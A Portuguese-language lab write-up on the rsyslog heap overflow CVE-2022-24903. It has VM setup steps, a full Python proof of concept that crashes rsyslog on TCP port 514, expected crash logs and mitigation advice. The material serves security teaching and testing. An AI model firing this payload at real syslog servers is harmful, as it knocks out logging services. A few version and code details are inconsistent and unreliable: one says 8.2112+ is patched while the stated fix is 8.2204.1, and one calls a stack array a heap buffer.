
CVE-2022-24903 Estouro de buffer baseado em heap
Autor: Andrew Beshay Mousa
Um laboratório prático demonstrando a vulnerabilidade de estouro de buffer no heap do rsyslog.
Um ambiente de laboratório prático para reproduzir e entender a vulnerabilidade de Estouro de Buffer no Heap do rsyslog (CVE-2022-24903) por meio de framing com contagem de octetos na recepção de syslog via TCP.
CVE-2022-24903 é uma vulnerabilidade de estouro de buffer no heap no módulo de recepção de syslog TCP (imtcp) do rsyslog, que ocorre ao usar framing com contagem de octetos (RFC 5425).
Um atacante pode enviar uma mensagem syslog TCP especialmente criada com um prefixo de contagem de octetos excessivamente longo, fazendo com que o rsyslog escreva além dos limites de um buffer alocado no heap, resultando em negação de serviço (DoS) ou possível corrupção de memória.
| Atributo | Valor |
|---|---|
| ID CVE | CVE-2022-24903 |
| Afetados | rsyslog < 8.2204.1 |
| Vetor | Rede |
| Porta | 514/TCP |
| Módulo | imtcp (Entrada TCP) |
| Impacto | DoS / Corrupção de Heap |
| RCE Provável? | Não (avaliação do fornecedor) |
+----------------------------------------------------------+
| Network: Host-Only |
| Subnet: 192.168.56.0/24 |
+--------------------------+-------------------------------+
| | |
| +---------------+ | +--------------------+ |
| | [Attacker] | | | [Target] | |
| | Kali Linux |<-----|----->| Ubuntu 22.04 | |
| | | TCP | | rsyslog 8.2001.0 | |
| | 192.168.56.10| 514 | | 192.168.56.20 | |
| | RAM: 2GB | | | RAM: 1GB | |
| | CPU: 1 | | | CPU: 1 | |
| +---------------+ | +--------------------+ |
| | |
+----------------------------------------------------------+
| VM | SO | Função | IP | RAM | CPU |
|---|---|---|---|---|---|
| Alvo | Ubuntu 22.04 | Servidor rsyslog vulnerável | 192.168.56.20 | 1 GB | 1 |
| Atacante | Kali Linux | Remetente do exploit | 192.168.56.10 | 2 GB | 1 |
Nota: Você pode usar qualquer versão do Ubuntu (20.04, 22.04, 24.04) como Alvo. O essencial é instalar manualmente o pacote
.debdo rsyslog 8.2001.0 vulnerável.
No syslog via TCP (RFC 5425), as mensagens são prefixadas com seu comprimento em bytes:
123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
└─┘
octet count (3 digits = 123 bytes follow)
Em versões vulneráveis do rsyslog, o analisador de contagem de octetos:
// Simplified vulnerable logic:
char buffer[20]; // Small heap buffer
int i = 0;
while (isdigit(ch)) { // Read digits
buffer[i++] = ch; // Write to buffer
// MISSING: if (i >= 20) break;
ch = next_char();
}
Resultado: Enviar 9999... (mais de 5000 dígitos) faz o buffer do heap estourar, corrompendo a memória adjacente.
0-9)No seu hipervisor, crie uma rede Host-Only:
192.168.56.0/24Conecte ambas as VMs a essa rede.
sudo nano /etc/netplan/00-installer-config.yaml
Cole:
network:
version: 2
ethernets:
enp0s3:
dhcp4: no
addresses:
- 192.168.56.20/24
Aplicar:
sudo netplan apply
Verificar:
ip addr show | grep 192.168.56.20
sudo systemctl stop rsyslog.service syslog.socket
sudo systemctl disable rsyslog.service syslog.socket
sudo systemctl mask rsyslog.service syslog.socket
sudo apt-get remove --purge -y rsyslog
sudo apt-get autoremove -y
cd /tmp
wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo apt-get install -f -y
sudo apt-mark hold rsyslog
Se você obtiver um erro de bloqueio do dpkg:
sudo kill -9 <PID> sudo rm -f /var/lib/dpkg/lock-frontend sudo dpkg --configure -a
Verifique a versão:
rsyslogd -v | head -2
Saída esperada:
rsyslogd 8.2001.0
O AppArmor pode impedir que o rsyslog funcione corretamente com o pacote antigo:
sudo systemctl stop apparmor
sudo systemctl disable apparmor
sudo nano /etc/rsyslog.conf
Limpe o arquivo e cole:
module(load="imtcp")
input(type="imtcp" port="514")
*.* /var/log/all-messages.log
sudo ufw allow 514/tcp
sudo ufw --force enable
sudo systemctl unmask rsyslog.service syslog.socket
sudo systemctl restart rsyslog
sudo systemctl status rsyslog --no-pager
Verifique se está em escuta:
sudo ss -tlnp | grep 514
Esperado:
LISTEN 0 25 0.0.0.0:514 users:(("rsyslogd",pid=...,fd=4))
sudo nano /etc/network/interfaces
Cole:
auto eth0
iface eth0 inet static
address 192.168.56.10
netmask 255.255.255.0
Ou, se estiver usando Netplan:
sudo nano /etc/netplan/01-netcfg.yaml
network:
version: 2
ethernets:
eth0:
dhcp4: no
addresses:
- 192.168.56.10/24
sudo netplan apply
cd ~/Desktop
nano exploit.py
Cole:
#!/usr/bin/env python3
"""
CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
Target: rsyslog 8.2001.0 on TCP port 514
Author: Andrew Beshay Mousa
"""
import socket
import sys
TARGET = "192.168.56.20" # Change to your Target IP
PORT = 514
def exploit():
"""
Send a crafted TCP syslog message with an excessively long octet-count prefix.
The octet-count parser writes digits to a heap buffer without bounds checking,
causing a heap buffer overflow.
"""
# Create a massive octet count string (5000+ digits)
# This overflows the heap buffer allocated for parsing the count
overflow_digits = b"9" * 5000
# The rest of the message (parser will crash before processing this)
syslog_msg = b" <1>test crash message\n"
payload = overflow_digits + syslog_msg
print(f"[*] Target: {TARGET}:{PORT}")
print(f"[*] Payload size: {len(payload)} bytes")
print(f"[*] Octet count digits: {len(overflow_digits)}")
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((TARGET, PORT))
print(f"[*] Connected. Sending payload...")
sock.sendall(payload)
# Try to receive (likely won't get anything back after crash)
try:
response = sock.recv(1024)
print(f"[+] Received: {response}")
except socket.timeout:
print("[!] No response - target may have crashed!")
sock.close()
print("[*] Exploit completed.")
except ConnectionRefusedError:
print(f"[-] Connection refused - is rsyslog running on {TARGET}:{PORT}?")
sys.exit(1)
except BrokenPipeError:
print("[!] Connection broken - target likely crashed mid-transmission!")
if __name__ == "__main__":
print("=" * 50)
print("CVE-2022-24903 rsyslog Heap Buffer Overflow")
print("=" * 50)
exploit()
Torne executável:
chmod +x exploit.py
A partir do Atacante, verifique a conectividade:
nc -zv 192.168.56.20 514
Esperado:
(UNKNOWN) [192.168.56.20] 514 (shell) open
python3 ~/Desktop/exploit.py
Saída esperada:
==================================================
CVE-2022-24903 rsyslog Heap Buffer Overflow
==================================================
[*] Target: 192.168.56.20:514
[*] Payload size: 5027 bytes
[*] Octet count digits: 5000
[*] Connected. Sending payload...
[!] No response - target may have crashed!
[*] Exploit completed.
Na máquina Alvo, verifique a falha:
ps aux | grep rsyslog
Se não houver saída -> o rsyslog travou
sudo dmesg | tail -10
Saída esperada:
audit: in:imtcp[24775] general protection fault ip:76bea758b7dd sp:... error:0 in libc.so.6[...]
Ou:
rsyslogd[...]: segfault at ... ip ... sp ... error 4 in rsyslogd[...]
sudo journalctl -u rsyslog --no-pager | tail -10
Para confirmar a reprodutibilidade:
sudo systemctl restart rsyslog
sudo ss -tlnp | grep 514
Em seguida, execute novamente o exploit a partir do Kali. A falha deve ocorrer novamente.
| Problema | Solução |
|---|---|
Connection refused | o rsyslog não está em execução ou não está em escuta na porta TCP 514. Verifique sudo systemctl status rsyslog e `sudo ss -tlnp |
Unit rsyslog.service is masked | Execute sudo systemctl unmask rsyslog.service syslog.socket |
dpkg frontend lock | Execute sudo kill -9 <PID> e depois sudo rm -f /var/lib/dpkg/lock-frontend |
| AppArmor DENIED no dmesg | Execute sudo systemctl stop apparmor && sudo systemctl disable apparmor |
| Versão do rsyslog é 8.2112+ | Você instalou a versão corrigida. Baixe e instale rsyslog_8.2001.0-1ubuntu1_amd64.deb manualmente |
| Nenhum crash após o exploit | Aumente o tamanho do payload para b"9" * 20000 |
sudo apt-mark unhold rsyslog
sudo apt-get update
sudo apt-get install rsyslog
Verifique a versão corrigida:
rsyslogd -v | head -2
Deve ser 8.2204.1 ou superior.
Comente em /etc/rsyslog.conf:
# module(load="imtcp")
# input(type="imtcp" port="514")
Se o syslog TCP for necessário, use transporte criptografado:
module(load="imgtls")
input(type="imgtls" port="6514")
Restrinja a porta TCP 514 apenas a hosts confiáveis:
sudo ufw allow from 192.168.56.10 to any port 514 proto tcp
Este laboratório é apenas para fins educacionais e de pesquisa. Não use este exploit contra sistemas que você não possui ou para os quais não tem permissão explícita para testar. O autor não assume nenhuma responsabilidade pelo uso indevido destas informações.
Este projeto está licenciado sob a Licença MIT.
Feito com café e curiosidade por Andrew Beshay Mousa.